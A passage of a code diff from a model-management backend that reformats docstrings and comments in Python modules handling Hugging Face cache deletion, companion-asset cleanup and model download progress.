to remove.- """+ """Installed checkpoints that would still need *base_repo_id* after ignoring *ignore_repo_ids*, sorted for a stable message. Empty means the base is safe to remove."""scans = cache_scans if cache_scans is not None else cache_inventory.all_hf_cache_scans()required = companion_assets.required_companion_bases(scans, ignore_repo_ids = ignore_repo_ids)return sorted(required.get((base_repo_id or "").strip().lower(), set()))@@ -156,8 +136,7 @@ def _delete_impact_blocking(repo_id: str, variant: Optional[str]) -> dict:for repo_info in repos:reclaimed += _variant_bytes(repo_info, variant) if variant else _repo_blob_bytes(repo_info)- # Would this delete leave the repo with no runnable checkpoint? Only then can its companions become reclaimable;- # while a sibling quant survives they stay in use.+ # Would this delete leave the repo with no runnable checkpoint? Only then can its companions become reclaimable; while a sibling quant survives they stay in use.removes_last_checkpoint = Trueif variant:for repo_info in repos:@@ -185,13 +164,10 @@ def _delete_impact_blocking(repo_id: str, variant: Optional[str]) -> dict:entry = {"repo_id": display, "size_bytes": base_bytes, "needed_by": holders}if holders:retained.append(entry)- # The SAME offerability test orphan_companions_response applies, since this row points at that- # list: a borrowed chat GGUF repo is a curated companion id but holds a denoiser, so advertising- # it sent the user to Free up space to remove a row that is never there.+ # The SAME offerability test orphan_companions_response applies, since this row points at that list: a borrowed chat GGUF repo is a curated companion id but holds a denoiser, so advertising it sent the user to Free up space to remove a row that is never there.elif base_key in offerable and any(not _repo_holds_denoiser(r) for r in base_repos):freeable.append(entry)- # A base only a recorded link names: the orphan endpoint is table-only by design, so advertising it- # here pointed the user at a Free up space list it will never appear in.+ # A base only a recorded link names: the orphan endpoint is table-only by design, so advertising it here pointed the user at a Free up space list it will never appear in.return {"repo_id": repo_id,@@ -199,9 +175,7 @@ def _delete_impact_blocking(repo_id: str, variant: Optional[str]) -> dict:"reclaimed_bytes": reclaimed,"retained_companions": retained,"freeable_companions": freeable,- # Same predicate the destructive path uses: the native Qwen-Image encoder is a named quant inside- # a chat GGUF repo, so previewing only whole-repo deletes left Delete enabled and the refusal- # arriving after the user confirmed.+ # Same predicate the destructive path uses: the native Qwen-Image encoder is a named quant inside a chat GGUF repo, so previewing only whole-repo deletes left Delete enabled and the refusal arriving after the user confirmed."blocked_by": (companion_dependents(repo_id, scans, ignore_repo_ids = [repo_id])if companion_assets.is_companion_base(repo_id)@@ -239,20 +213,16 @@ def _orphan_companions_blocking() -> dict:if required.get(base_key):continuerepos = by_id[base_key]- # A repo holding a runnable denoiser is a model the user installed: a companion fetch takes- # everything BUT transformer/, while a pipeline pick takes it, so its presence answers whether the- # user asked for this repo. Per COPY, since a delete is scoped to one cache root.+ # A repo holding a runnable denoiser is a model the user installed: a companion fetch takes everything BUT transformer/, while a pipeline pick takes it, so its presence answers whether the user asked for this repo. Per COPY, since a delete is scoped to one cache root.repos = [r for r in repos if not _repo_holds_denoiser(r)]if not repos:continue- # One row per cache root: a delete is scoped to a single cache, so pooling copies from several would- # promise bytes one removal cannot deliver.+ # One row per cache root: a delete is scoped to a single cache, so pooling copies from several would promise bytes one removal cannot deliver.for repo in repos:size = _repo_blob_bytes(repo)if size <= 0:continue- # The repo dir itself, not its parent: scoped_delete_root walks up to the models-- component, so a- # bare root resolves to nothing and the delete comes back "Invalid cache_path".+ # The repo dir itself, not its parent: scoped_delete_root walks up to the models-- component, so a bare root resolves to nothing and the delete comes back "Invalid cache_path".try:cache_path = str(Path(getattr(repo, "repo_path")))except (TypeError, OSError):diff --git a/studio/backend/hub/services/models/deletion.py b/studio/backend/hub/services/models/deletion.pyindex 43c7b7d713a..4c1593b9119 100644--- a/studio/backend/hub/services/models/deletion.py+++ b/studio/backend/hub/services/models/deletion.py@@ -88,11 +88,7 @@ def _path_exists_or_symlink(path: Path) -> bool:def _unlink_snapshot_entry(snap: Path) -> int:- """Unlink one snapshot entry, plus any AppleDouble sidecar beside it.-- Returns the entries removed, which never counts the sidecar: it is metadata about a file the- caller asked to remove, not a second file.- """+ """Unlink one snapshot entry, plus any AppleDouble sidecar beside it. Returns the entries removed, which never counts the sidecar: it is metadata about a file the caller asked to remove, not a second file."""removed = 0if _path_exists_or_symlink(snap):snap.unlink()@@ -102,15 +98,7 @@ def _unlink_snapshot_entry(snap: Path) -> int:def _repo_file_matches(target_repo, predicate) -> list[tuple[Path, Optional[Path], str]]:- """Files whose snapshot-relative path satisfies *predicate*.-- Relative, not the bare ``file_name``: huggingface_hub sets that to- ``file_path.name`` (and our own recovery scan to ``entry.name``), so a- companion in ``dspark/`` or ``MTP/`` arrived here indistinguishable from a- root file. Every predicate below keys on the directory for at least one- supported layout, and the quant labels they extract are unchanged by the- prefix.- """+ """Files whose snapshot-relative path satisfies *predicate*. Relative, not the bare ``file_name``: huggingface_hub sets that to ``file_path.name`` (and our own recovery scan to ``entry.name``), so a companion in ``dspark/`` or ``MTP/`` arrived here indistinguishable from a root file. Every predicate below keys on the directory for at least one supported layout, and the quant labels they extract are unchanged by the prefix."""matches: list[tuple[Path, Optional[Path], str]] = []for rev in getattr(target_repo, "revisions", ()):snapshot = getattr(rev, "snapshot_path", None)@@ -126,8 +114,7 @@ def _repo_file_matches(target_repo, predicate) -> list[tuple[Path, Optional[Pathcontinueif not file_path:continue- # Every predicate here keys on the name, which a sidecar answers exactly as its neighbour does.- # Proven metadata only: anything else carrying this key is a file to delete.+ # Every predicate here keys on the name, which a sidecar answers exactly as its neighbour does. Proven metadata only: anything else carrying this key is a file to delete.if is_appledouble_metadata(Path(file_path)):continueblob_path = getattr(f, "blob_path", None)@@ -152,12 +139,8 @@ def _has_remaining_main_gguf(target_repo) -> bool:def _remove_empty_variant_dirs(target_repos: list, variant: str) -> tuple[int, list[str]]:- """Remove now-empty ``snapshots/<rev>/<quant>/`` folders for *variant* (the- quant label names the folder); only empty dirs go, so siblings are safe.- Returns (count removed, removal failures other than a concurrent refill)."""- # A qualified key names its own folder and must not reach for a <quant>/ dir it does not own;- # qualified means a path (distilled/...-Q6_K), an H3 root stem, or a bpw modifier- # (IQ4_XS-3.53bpw, whose token-only IQ4_XS/ folder is a different build's).+ """Remove now-empty ``snapshots/<rev>/<quant>/`` folders for *variant* (the quant label names the folder); only empty dirs go, so siblings are safe. Returns (count removed, removal failures other than a concurrent refill)."""+ # A qualified key names its own folder and must not reach for a <quant>/ dir it does not own; qualified means a path (distilled/...-Q6_K), an H3 root stem, or a bpw modifier (IQ4_XS-3.53bpw, whose token-only IQ4_XS/ folder is a different build's).qualified = (is_qualified_gguf_variant_key(variant)or (quant_token_with_bpw(variant) or "").lower() == variant.lower()@@ -199,8 +182,7 @@ def _remove_empty_variant_dirs(target_repos: list, variant: str) -> tuple[int, lsub.rmdir()removed += 1except OSError as e:- # A concurrent download refilling the dir (ENOTEMPTY) is not a failure; a read-only cache or locked- # dir is, so surface it.+ # A concurrent download refilling the dir (ENOTEMPTY) is not a failure; a read-only cache or locked dir is, so surface it.if e.errno != errno.ENOTEMPTY:failures.append(f"{sub.name}: {e}")return removed, failures@@ -231,19 +213,7 @@ def _remove_empty_snapshot_dirs(target_repos: list) -> tuple[int, list[str]]:def _variant_keys_to_delete(target_repo, variant: str) -> set[str]:- """The variant keys in *target_repo* that *variant* names, lowercased.-- Its own key, always. Plus the unambiguous bare-quant alias the download side already admits- (``gguf_plan.plan_for_variant``): a repo filing its sole Q4_K_M under a shared container- (``weights/model-Q4_K_M.gguf``) qualifies that key, because the key is a pure function of the- path and cannot know the directory disambiguates nothing, so every stored pin and every- explicit ``repo:Q4_K_M`` names it by quant alone. Admitting the alias for the download and not- for the delete answered "not found" and left the weights on disk.-- Only when it is unambiguous, exactly as the download side decides it: a repo that really does- hold several checkpoints at one quant gets no fallback, because there the bare name genuinely- does not name one of them and deleting the wrong one is unrecoverable.- """+ """The variant keys in *target_repo* that *variant* names, lowercased. Its own key, always, plus the unambiguous bare-quant alias the download side already admits (``gguf_plan.plan_for_variant``): a repo filing its sole Q4_K_M under a shared container (``weights/model-Q4_K_M.gguf``) qualifies that key, because the key is a pure function of the path and cannot know the directory disambiguates nothing, so every stored pin and every explicit ``repo:Q4_K_M`` names it by quant alone, and admitting the alias for the download and not for the delete answered "not found" and left the weights on disk. Only when it is unambiguous, exactly as the download side decides it: a repo that really does hold several checkpoints at one quant gets no fallback, because there the bare name genuinely does not name one of them and deleting the wrong one is unrecoverable."""wanted = (variant or "").strip().lower()if not wanted or "/" in wanted:return {wanted}@@ -253,8 +223,7 @@ def _variant_keys_to_delete(target_repo, variant: str) -> set[str]:}if wanted in keys:return {wanted}- # PATH-qualified keys only, not is_qualified_gguf_variant_key: an H3 root stem's bare quant names- # both partitions, so it must not delete either.+ # PATH-qualified keys only, not is_qualified_gguf_variant_key: an H3 root stem's bare quant names both partitions, so it must not delete either.aliased = {key for key in keys if "/" in key and bare_quant_alias(key).lower() == wanted}return aliased if len(aliased) == 1 else {wanted}@@ -361,7 +330,6 @@ def _delete_gguf_variant_from_repos()state_purged = download_manifest.purge_state("model", repo_id, variant, hub_cache = root)- # Reclaim the empty quant folder so it stops 404ing on delete.removed_dirs, dir_failures = _remove_empty_variant_dirs(target_repos, variant)removed_snap_dirs, snap_dir_failures = _remove_empty_snapshot_dirs(target_repos)removed_dirs += removed_snap_dirs@@ -403,13 +371,7 @@ def reclaim_replaced_gguf_variant(*,hub_cache: Optional[str | Path] = None,) -> dict:- """Prune stale main-GGUF files for a variant after a replacement verified.-- This is intentionally narrower than user-driven delete: it removes only- same-variant main files whose local blob hash is not in *keep_main_hashes*,- then unlinks their blobs only if no remaining snapshot references them.- Shared companions and sibling variants are left intact.- """+ """Prune stale main-GGUF files for a variant after a replacement verified. Intentionally narrower than user-driven delete: it removes only same-variant main files whose local blob hash is not in *keep_main_hashes*, then unlinks their blobs only if no remaining snapshot references them. Shared companions and sibling variants are left intact."""if not keep_main_hashes:logger.info("Skipping stale GGUF reclaim for %s [%s]: current main hashes unresolved",@@ -504,8 +466,7 @@ def reclaim_replaced_gguf_variant(and gguf_variant_key(name).lower() == variant_key,)for snap, blob, name in matches:- # Prune only a file we can identify as a real, stale cache blob: a no-symlink snapshot file has no- # identifiable blob hash, so keep it.+ # Prune only a file we can identify as a real, stale cache blob: a no-symlink snapshot file has no identifiable blob hash, so keep it.blob_hash = (_blob_hash_from_path(blob)if cache_inventory._is_real_cache_blob(blob, repo_dir)@@ -656,8 +617,6 @@ def _inference_backend_blocks_delete(repo_id: str) -> bool:"""Whether the subprocess inference backend holds *repo_id*; same fail-open-on-acquire / surface-on-query contract as :func:`_llama_cpp_blocks_delete`."""try:from core.inference.orchestrator import peek_inference_backend-- # Peek, never construct: building one just to learn nothing is loaded imports torch.backend = peek_inference_backend()except Exception as e:logger.debug(f"Inference backend unavailable during delete guard for {repo_id}: {e}")@@ -669,12 +628,7 @@ def _inference_backend_blocks_delete(repo_id: str) -> bool:def _diffusion_blocks_delete(repo_id: str) -> Optional[str]:- """The 400 detail if the Images backend holds *repo_id*, else None.-- Queries the ACTIVE engine: on a native selection the diffusers singleton reports- unloaded while sd-cli still generates from the cached GGUF. Same- fail-open-on-acquire contract as :func:`_llama_cpp_blocks_delete`.- """+ """The 400 detail if the Images backend holds *repo_id*, else None. Queries the ACTIVE engine: on a native selection the diffusers singleton reports unloaded while sd-cli still generates from the cached GGUF. Same fail-open-on-acquire contract as :func:`_llama_cpp_blocks_delete`."""try:from core.inference.diffusion_engine_router import get_active_diffusion_engineengine = get_active_diffusion_engine()@@ -685,8 +639,7 @@ def _diffusion_blocks_delete(repo_id: str) -> Optional[str]:if status.get("loaded") and status.get("repo_id"):if _loaded_id_matches_repo(str(status["repo_id"]), repo_id):return "Unload the model before deleting"- # sd.cpp re-reads companion VAE / text-encoder files every generation and status().repo_id covers- # only the main GGUF, so refuse the companions too.+ # sd.cpp re-reads companion VAE / text-encoder files every generation and status().repo_id covers only the main GGUF, so refuse the companions too.for lid in getattr(engine, "loaded_repo_ids", tuple)():if _loaded_id_matches_repo(str(lid), repo_id):return "Unload the model before deleting"@@ -698,11 +651,7 @@ def _diffusion_blocks_delete(repo_id: str) -> Optional[str]:def _video_blocks_delete(repo_id: str) -> Optional[str]:- """The 400 detail if the Video backend holds or is fetching *repo_id*, else None.-- Video repos share the On Device delete action, so a live Wan / LTX / Hunyuan- pipeline could otherwise lose its snapshot. Mirrors :func:`_diffusion_blocks_delete`.- """+ """The 400 detail if the Video backend holds or is fetching *repo_id*, else None. Video repos share the On Device delete action, so a live Wan / LTX / Hunyuan pipeline could otherwise lose its snapshot. Mirrors :func:`_diffusion_blocks_delete`."""try:from core.inference.video import get_video_backendbackend = get_video_backend()@@ -711,14 +660,12 @@ def _video_blocks_delete(repo_id: str) -> Optional[str]:return Nonestatus = backend.status()if status.get("loaded"):- # repo_id names the checkpoint; for a GGUF / single-file load the companion base supplies the VAE- # and text encoders, so refuse it too.+ # repo_id names the checkpoint; for a GGUF / single-file load the companion base supplies the VAE and text encoders, so refuse it too.for key in ("repo_id", "base_repo"):held = status.get(key)if held and _loaded_id_matches_repo(str(held), repo_id):return "Unload the model before deleting"- # The native H3 runtime re-reads its Qwen encoder and both VAEs from companion repos that are- # neither of the two ids above, so refuse those as well.+ # The native H3 runtime re-reads its Qwen encoder and both VAEs from companion repos that are neither of the two ids above, so refuse those as well.for lid in getattr(backend, "loaded_repo_ids", tuple)():if _loaded_id_matches_repo(str(lid), repo_id):return "Unload the model before deleting"@@ -739,13 +686,7 @@ def _is_companion_base_repo(repo_id: str) -> bool:def _variant_is_a_required_companion_asset(repo_id: str, variant: str) -> bool:- """Whether *variant* names a file an installed checkpoint's native load actually opens.-- Not "would this empty the repo": the asset is a FIXED filename, so a sibling quant left- behind substitutes for nothing. Fails CLOSED, and cheaply -- a True here only runs the- dependants check, which answers "nobody needs it" for every ordinary repo and lets the- delete through.- """+ """Whether *variant* names a file an installed checkpoint's native load actually opens. Not "would this empty the repo": the asset is a FIXED filename, so a sibling quant left behind substitutes for nothing. Fails CLOSED, and cheaply: a True here only runs the dependants check, which answers "nobody needs it" for every ordinary repo and lets the delete through."""from hub.services.models import cache_inventoryfrom hub.utils import companion_assetsfrom hub.utils.gguf import extract_quant_label@@ -785,15 +726,7 @@ async def delete_cached_model_response(cache_path: Optional[str] = None,only_if_orphan: bool = False,):- """Delete a cached model repo (or a specific GGUF variant) from the HF cache.-- When *variant* is provided, only the GGUF files matching that quant label- are removed (e.g. ``UD-Q4_K_XL``). Otherwise the entire repo is deleted.- Refuses if the model is currently loaded for inference.-- *only_if_orphan* is Free up space's precondition: 409 rather than delete when the repo has- become an installed checkpoint since the list the caller is acting on was built.- """+ """Delete a cached model repo (or a specific GGUF variant) from the HF cache. When *variant* is provided, only the GGUF files matching that quant label are removed (e.g. ``UD-Q4_K_XL``); otherwise the entire repo is deleted. Refuses if the model is currently loaded for inference. *only_if_orphan* is Free up space's precondition: 409 rather than delete when the repo has become an installed checkpoint since the list the caller is acting on was built."""if not _is_valid_repo_id(repo_id):raise HTTPException(status_code = 400, detail = "Invalid repo_id format")variant = (variant or "").strip() or None@@ -809,7 +742,6 @@ async def delete_cached_model_response(_inference_backend_blocks_delete(repo_id)):return "Unload the model before deleting"- # The guards above are chat-only; Images / Video hold their own pipelines.return _diffusion_blocks_delete(repo_id) or _video_blocks_delete(repo_id)try:@@ -835,9 +767,7 @@ async def delete_cached_model_response()raise HTTPException(status_code = 400, detail = detail)try:- # Re-derived now the scope is reserved, as only_if_orphan re-derives its own answer below: the- # first read ran before the reservation existed, so a load starting in between published its claim- # too late, and begin_delete misses it too.+ # Re-derived now the scope is reserved, as only_if_orphan re-derives its own answer below: the first read ran before the reservation existed, so a load starting in between published its claim too late, and begin_delete misses it too.try:blocks_detail = await asyncio.to_thread(_load_state_blocks_delete)except Exception as e:@@ -872,8 +802,7 @@ def _delete_cached_model_blocking(*,only_if_orphan: bool = False,) -> dict:- # Free up space's list can be minutes old, and a background download finishing turns that orphan- # into an installed checkpoint neither guard below catches.+ # Free up space's list can be minutes old, and a background download finishing turns that orphan into an installed checkpoint neither guard below catches.if only_if_orphan:from hub.services.models import companion_cleanupfrom hub.utils import companion_assets@@ -882,8 +811,7 @@ def _delete_cached_model_blocking(copies = companion_cleanup._repos_by_id(cache_inventory.all_hf_cache_scans()).get(repo_id.strip().lower(), [])- # Only the copy being removed: the orphan listing emits one row per cache root, so a full-pipeline- # copy in another remembered cache must not veto removing the companion-only copy listed.+ # Only the copy being removed: the orphan listing emits one row per cache root, so a full-pipeline copy in another remembered cache must not veto removing the companion-only copy listed.if cache_path:wanted = Path(cache_path)copies = [@@ -892,8 +820,7 @@ def _delete_cached_model_blocking(if getattr(r, "repo_path", None) and Path(getattr(r, "repo_path")) == wanted]if not copies:- # An empty match means the target root is not in this scan, and concluding "orphan" from copies we- # did not look at is the fail-open this precondition prevents; raising lands in the 503.+ # An empty match means the target root is not in this scan, and concluding "orphan" from copies we did not look at is the fail-open this precondition prevents; raising lands in the 503.raise RuntimeError(f"cache root not present in the scan: {cache_path}")still_orphan = not any(companion_assets.repo_holds_denoiser(repo) for repo in copies)except Exception as e:@@ -911,23 +838,10 @@ def _delete_cached_model_blocking(),)- # A companion base repo carries the text encoders, VAE and tokenizer for every quant of its- # family, so removing it while one is installed leaves that quant unloadable with nothing on screen- # to say why. Derived from what is installed right now, never from a stored count, and only for a- # WHOLE-repo delete. Deleting the dependants first makes the base an orphan, which Free up space- # then offers.- # Here rather than in the async caller so it shares this function's cache walk and stubs: the check- # IS part of the destructive stage.- # The exception is a companion whose asset IS a named GGUF variant: native Qwen-Image opens exactly- # Qwen2.5-VL-7B-Instruct-Q4_K_M.gguf inside a chat GGUF repo, so removing that one quant strands the- # image checkpoint however many siblings remain, and none of them is a substitute for a fixed- # filename. A FLAG, never a rewrite of `variant`: that name is the destructive scope, and widening- # it here would delete every revision and manifest the user did not ask for, and purge a sibling- # quant out from under an in-flight download.+ # A companion base repo carries the text encoders, VAE and tokenizer for every quant of its family, so removing it while one is installed leaves that quant unloadable with nothing on screen to say why. Derived from what is installed right now, never from a stored count, and only for a WHOLE-repo delete; deleting the dependants first makes the base an orphan, which Free up space then offers. Here rather than in the async caller so it shares this function's cache walk and stubs: the check IS part of the destructive stage. The exception is a companion whose asset IS a named GGUF variant: native Qwen-Image opens exactly Qwen2.5-VL-7B-Instruct-Q4_K_M.gguf inside a chat GGUF repo, so removing that one quant strands the image checkpoint however many siblings remain, and none of them is a substitute for a fixed filename. A FLAG, never a rewrite of `variant`: that name is the destructive scope, and widening it here would delete every revision and manifest the user did not ask for, and purge a sibling quant out from under an in-flight download.guard_this_delete = variant is None or _variant_is_a_required_companion_asset(repo_id, variant)if guard_this_delete and _is_companion_base_repo(repo_id):- # Fails CLOSED, and only here: the lookup above already established this repo IS a companion base,- # so an unreadable cache means the dependants cannot be enumerated, not that there are none.+ # Fails CLOSED, and only here: the lookup above already established this repo IS a companion base, so an unreadable cache means the dependants cannot be enumerated, not that there are none.try:shared_detail = _companion_share_blocks_delete(repo_id)except Exception as e:@@ -943,16 +857,14 @@ def _delete_cached_model_blocking(raise HTTPException(status_code = 400, detail = shared_detail)try:- # If a sibling quant is downloading concurrently, restrict this delete to the variant's own files- # and leave the shared mmproj companion for it.+ # If a sibling quant is downloading concurrently, restrict this delete to the variant's own files and leave the shared mmproj companion for it.sibling_active = bool(variant and downloads.registry.has_active_peer_variant(repo_id, variant))cache_scans = cache_inventory.all_hf_cache_scans()- # A repo can live in several remembered caches, so target exactly one or a delete removes copies in- # other, previously selected caches.+ # A repo can live in several remembered caches, so target exactly one or a delete removes copies in other, previously selected caches.owners: dict = {}for hf_cache in cache_scans:for repo_info in hf_cache.repos:diff --git a/studio/backend/hub/services/models/downloads.py b/studio/backend/hub/services/models/downloads.pyindex 4704466408b..e028f4be3cd 100644--- a/studio/backend/hub/services/models/downloads.py+++ b/studio/backend/hub/services/models/downloads.py@@ -47,8 +47,7 @@ def _download_job_key(repo_id: str, variant: Optional[str]) -> str:)-# A scope rides the variant slot as "@name". No GGUF quant label starts with "@", so a scoped job-# never collides with a real variant or the full snapshot.+# A scope rides the variant slot as "@name"; no GGUF quant label starts with "@", so a scoped job never collides with a real variant or the full snapshot._SCOPE_PREFIX = "@"@@ -60,8 +59,7 @@ def _scope_variant(scope_id: Optional[str]) -> Optional[str]:def scoped_file_blob_hashes(repo_id: str, files: Sequence[str], hf_token: Optional[str]) -> frozenset[str]:- """Blob hashes for exactly ``files``, so a scoped job's progress, purge and peer- protection cover its own files and nothing else in the repo."""+ """Blob hashes for exactly ``files``, so a scoped job's progress, purge and peer protection cover its own files and nothing else in the repo."""from huggingface_hub import HfApiwanted = set(files)@@ -88,12 +86,7 @@ def _job_status(def _diffusion_load_in_flight(repo_id: str) -> bool:- """Whether the Images or Video backend is currently STAGING *repo_id* (or its companion- base repo) for a load. Both stage through the same HF cache as the download worker, so a- download started now would put two writers on the same blobs -- the exact race the- llama.cpp guard below prevents for chat. ``loading_repo_ids`` is the same signal the- delete-cached guard uses. Best-effort: an unavailable backend reports not-in-flight so a- probe failure never blocks a legitimate download."""+ """Whether the Images or Video backend is currently STAGING *repo_id* (or its companion base repo) for a load. Both stage through the same HF cache as the download worker, so starting a download now would put two writers on the same blobs, the race the llama.cpp guard below prevents for chat. Best-effort: an unavailable backend reports not-in-flight, so a probe failure never blocks a legitimate download."""key = download_registry.normalize_repo_key(repo_id)getters = []try:@@ -119,9 +112,7 @@ def _diffusion_load_in_flight(repo_id: str) -> bool:def _load_in_flight(repo_id: str) -> bool:- """Whether ANY loader is already fetching *repo_id*. Chat is not the only loader that- downloads on the load path: the Images and Video backends stage their snapshots the same- way, so both are consulted."""+ """Whether ANY loader is already fetching *repo_id*. Chat is not the only loader that downloads on the load path: the Images and Video backends stage their snapshots the same way, so both are consulted."""try:from core.inference.llama_cpp import hf_gguf_load_in_flightif hf_gguf_load_in_flight(repo_id):@@ -179,11 +170,7 @@ async def download_model_response(*,allow_ambient_token: bool = True,):- """Start a background download for a HuggingFace model.-- ``allow_ambient_token=False`` keeps the worker anonymous when the caller sent- no token, for repos named over the API rather than chosen here.- """+ """Start a background download for a HuggingFace model. ``allow_ambient_token=False`` keeps the worker anonymous when the caller sent no token, for repos named over the API rather than chosen here."""repo_id = body.repo_id.strip()if not _is_valid_repo_id(repo_id):raise HTTPException(@@ -217,8 +204,7 @@ async def download_model_response(raise HTTPException(status_code = 400, detail = f"Invalid scope_id: {body.scope_id!r}")variant = scope_variantkey = _download_job_key(repo_id, variant)- # Off the event loop: resolving "auto" can run the Xet reachability probe, and a blackholed DNS- # makes that outlast its 3s budget while every other request waits behind it.+ # Off the event loop: resolving "auto" can run the Xet reachability probe, and a blackholed DNS makes that outlast its 3s budget while every other request waits behind it.use_xet, transport_reason = await asyncio.to_thread(download_lifecycle.resolve_requested_use_xet,getattr(body, "transport_mode", None),@@ -304,9 +290,7 @@ async def download_model_response("this one."),)- # claim_state is the blocking job's state. Attaching and accepting are one verdict: only this- # key's own in-flight job can be joined, and a cross-variant conflict or in-progress delete joined- # nothing.+ # claim_state is the blocking job's state. Attaching and accepting are one verdict: only this key's own in-flight job can be joined, and a cross-variant conflict or in-progress delete joined nothing.adoptable = _registry.adoptable(key)return {"job_key": key,@@ -314,11 +298,9 @@ async def download_model_response("accepted": adoptable,"attached": adoptable,"generation": generation,- # An adopted job keeps the transport it started on, so report it rather than let the caller assume- # the one it asked for.+ # An adopted job keeps the transport it started on, so report it rather than let the caller assume the one it asked for."transport": _registry.job_transport(key),- # And its cancel marker: a run that fell back from Xet to HTTP still cancels into a restart-only- # partial.+ # And its cancel marker: a run that fell back from Xet to HTTP still cancels into a restart-only partial."cancel_transport": _registry.job_cancel_transport(key),}download_manifest.clear_cancel_marker(@@ -327,8 +309,7 @@ async def download_model_response(variant,hub_cache = cache_paths.hub_cache,)- # Blobs a concurrent same-repo variant is already writing, such as a shared mmproj: the worker must- # not purge these during cache preparation.+ # Blobs a concurrent same-repo variant is already writing, such as a shared mmproj: the worker must not purge these during cache preparation.protected_blob_hashes = _registry.peer_blob_hashes(key) if variant else frozenset()label = f"{repo_id}{f' [{variant}]' if variant else ''}"@@ -362,8 +343,7 @@ async def download_model_response("accepted": True,"attached": False,"generation": generation,- # The transport that was actually resolved: an explicit "xet" is downgraded to HTTP where hf_xet is- # unavailable, and a client that assumed its request stood would offer the wrong stop control.+ # The transport actually resolved: an explicit "xet" is downgraded to HTTP where hf_xet is unavailable, and a client that assumed its request stood would offer the wrong stop control."transport": transport,}@@ -456,8 +436,7 @@ def _variant_transport_status(repo_id: str, variant: str, hf_token: Optional[strrepo_id,variant,)- # A partial counts toward "resumable" only while a writer that reopens it is installed, since the- # next download start sweeps whatever cannot be reopened.+ # A partial counts toward "resumable" only while a writer that reopens it is installed, since the next download start sweeps whatever cannot be reopened.resumable_hashes = download_registry.incomplete_blob_hashes("model",repo_id,@@ -481,14 +460,7 @@ async def get_model_transport_status_response(gguf_variant: str = "",hf_token: Optional[str] = None,) -> dict:- """Return last transport used for this repo + whether any partial blobs- exist + whether that partial supports byte-level resume.-- ``resumable`` is True only when an HTTP partial exists. XET partials- are reported via ``has_partial`` but always have ``resumable=False``- because ``hf_xet`` rewrites the destination from scratch on every- call (network resume happens transparently via its chunk cache).- """+ """Last transport used for this repo, whether any partial blobs exist, and whether that partial supports byte-level resume. ``resumable`` is True only for an HTTP partial: XET partials report ``has_partial`` but never resume, because ``hf_xet`` rewrites the destination from scratch every call (network resume happens transparently via its chunk cache)."""repo_id = repo_id.strip()if not _is_valid_repo_id(repo_id):return {"has_partial": False, "last_transport": None, "resumable": False}@@ -526,42 +498,27 @@ def _variant_manifest_decision() -> "tuple[str, Optional[download_manifest.Manifest]]":"""The variant's manifest from whichever cache dir on disk holds it, and why.- The verdict is ``"found"``, ``"absent"`` (no cache on disk has one) or ``"refused"`` (one- exists but applying it across the scanned caches would be wrong). Callers have to tell those- last two apart: a refusal is a decision that NO manifest may speak here, so re-reading one by- another route walks straight back into the answer this function just rejected.-- snapshot_progress reads manifests per scanned cache entry (``entry.parent``)- while this resolver only ever asked the active cache, so the two could- disagree about whether a manifest exists at all. When it lost, the expected- file set came back empty and the hash filter then dropped every blob in the- shared ``blobs/`` dir -- a finished variant reporting 0 bytes against the- caller's catalog-hinted total. Active cache first, so the common case is one- lookup; every candidate found has to agree before one is returned.+ The verdict is "found", "absent" (no cache on disk has one) or "refused" (one exists but applying it across the scanned caches would be wrong). Callers must tell those last two apart: a refusal decides that NO manifest may speak here, so re-reading one by another route walks back into the answer just rejected.++ snapshot_progress reads manifests per scanned cache entry (entry.parent) while this resolver only ever asked the active cache, so the two could disagree about whether a manifest exists at all. When it lost, the expected file set came back empty and the hash filter dropped every blob in the shared blobs/ dir, a finished variant reporting 0 bytes. Active cache first so the common case is one lookup; every candidate found must agree before one is returned."""- # The active cache's manifest is a candidate like any other, NOT an early return: its repo dir can- # be gone while its scoped state holds an old manifest, and applying those hashes to a remembered- # cache that has the complete variant filters out every blob of it.+ # The active cache's manifest is a candidate like any other, NOT an early return: its repo dir can be gone while its scoped state holds an old manifest, and applying those hashes to a remembered cache holding the complete variant filters out every blob of it.found: list[download_manifest.Manifest] = []- # active_root is the root the job records, which is the one snapshot_progress scans and not- # necessarily the configured default.+ # active_root is the root the job records, which is the one snapshot_progress scans and not necessarily the configured default.active_manifest = download_manifest.read_manifest("model", repo_id, variant, hub_cache = active_root)if active_manifest is not None:found.append(active_manifest)- # The active cache was just probed by the call above and a state-dir miss is not free, so skip the- # entry that repeats it; in the common case preferred_repo_cache_dirs returns only that entry.+ # The active cache was just probed above and a state-dir miss is not free, so skip the entry that repeats it; usually preferred_repo_cache_dirs returns only that entry.active = download_manifest._canonical_hub_cache(active_root)- # The SAME cache dirs snapshot_progress will scan: a remembered cache's manifest for the same- # variant would have its hashes applied to the active root's blobs, leaving the card at 0 B.+ # The SAME cache dirs snapshot_progress will scan: a remembered cache's manifest for the same variant would have its hashes applied to the active root's blobs, leaving the card at 0 B.for entry in preferred_repo_cache_dirs("model", repo_id, force_active = force_active, active_root = active_root):if active is not None and download_manifest._canonical_hub_cache(entry.parent) == active:if active_manifest is None:- # Anything returned for a cache with no manifest of its own would be another cache's answer applied- # to its blobs.+ # Anything returned for a cache with no manifest of its own would be another cache's answer applied to its blobs.return ("refused", None)continuemanifest = download_manifest.read_manifest(@@ -571,18 +528,13 @@ def _variant_manifest_decision(hub_cache = entry.parent,)if manifest is None:- # A scanned cache that contributed NOTHING may hold the complete snapshot, since a manifest can be- # deleted or never written, and another cache's hashes would filter out every blob AND disable the- # name-based fallback.+ # A scanned cache that contributed NOTHING may hold the complete snapshot, since a manifest can be deleted or never written, and another cache's hashes would filter out every blob AND disable the name-based fallback.return ("refused", None)found.append(manifest)if not found:return ("absent", None)- # One answer, or several that agree: safe to apply to every scanned entry, which is what- # snapshot_progress does with this hash set.- # Several that DISAGREE must be refused: snapshot_progress picks its reading by bytes across all- # preferred cache dirs while the hashes come from one lookup, so the first cache's older revision- # filters out every blob of a later complete one. None degrades to the name-based fallback.+ # One answer, or several that agree, is safe to apply to every scanned entry, which is what snapshot_progress does with this hash set.+ # Several that DISAGREE must be refused: snapshot_progress picks its reading by bytes across all preferred cache dirs while the hashes come from one lookup, so the first cache's older revision filters out every blob of a later complete one. None degrades to the name-based fallback.first = _manifest_hashes(found[0])if any(_manifest_hashes(m) != first for m in found[1:]):return ("refused", None)@@ -644,9 +596,7 @@ async def get_gguf_download_progress_response(frozenset(file.sha256 for file in manifest.expected_files if file.sha256),)if verdict == "refused":- # A refusal is not a miss: the blob-hash helper reads the DEFAULT cache's manifest with none of- # this scoping, so falling through reinstates the hashes just rejected. An empty set degrades to- # the per-entry name-based fallback.+ # A refusal is not a miss: 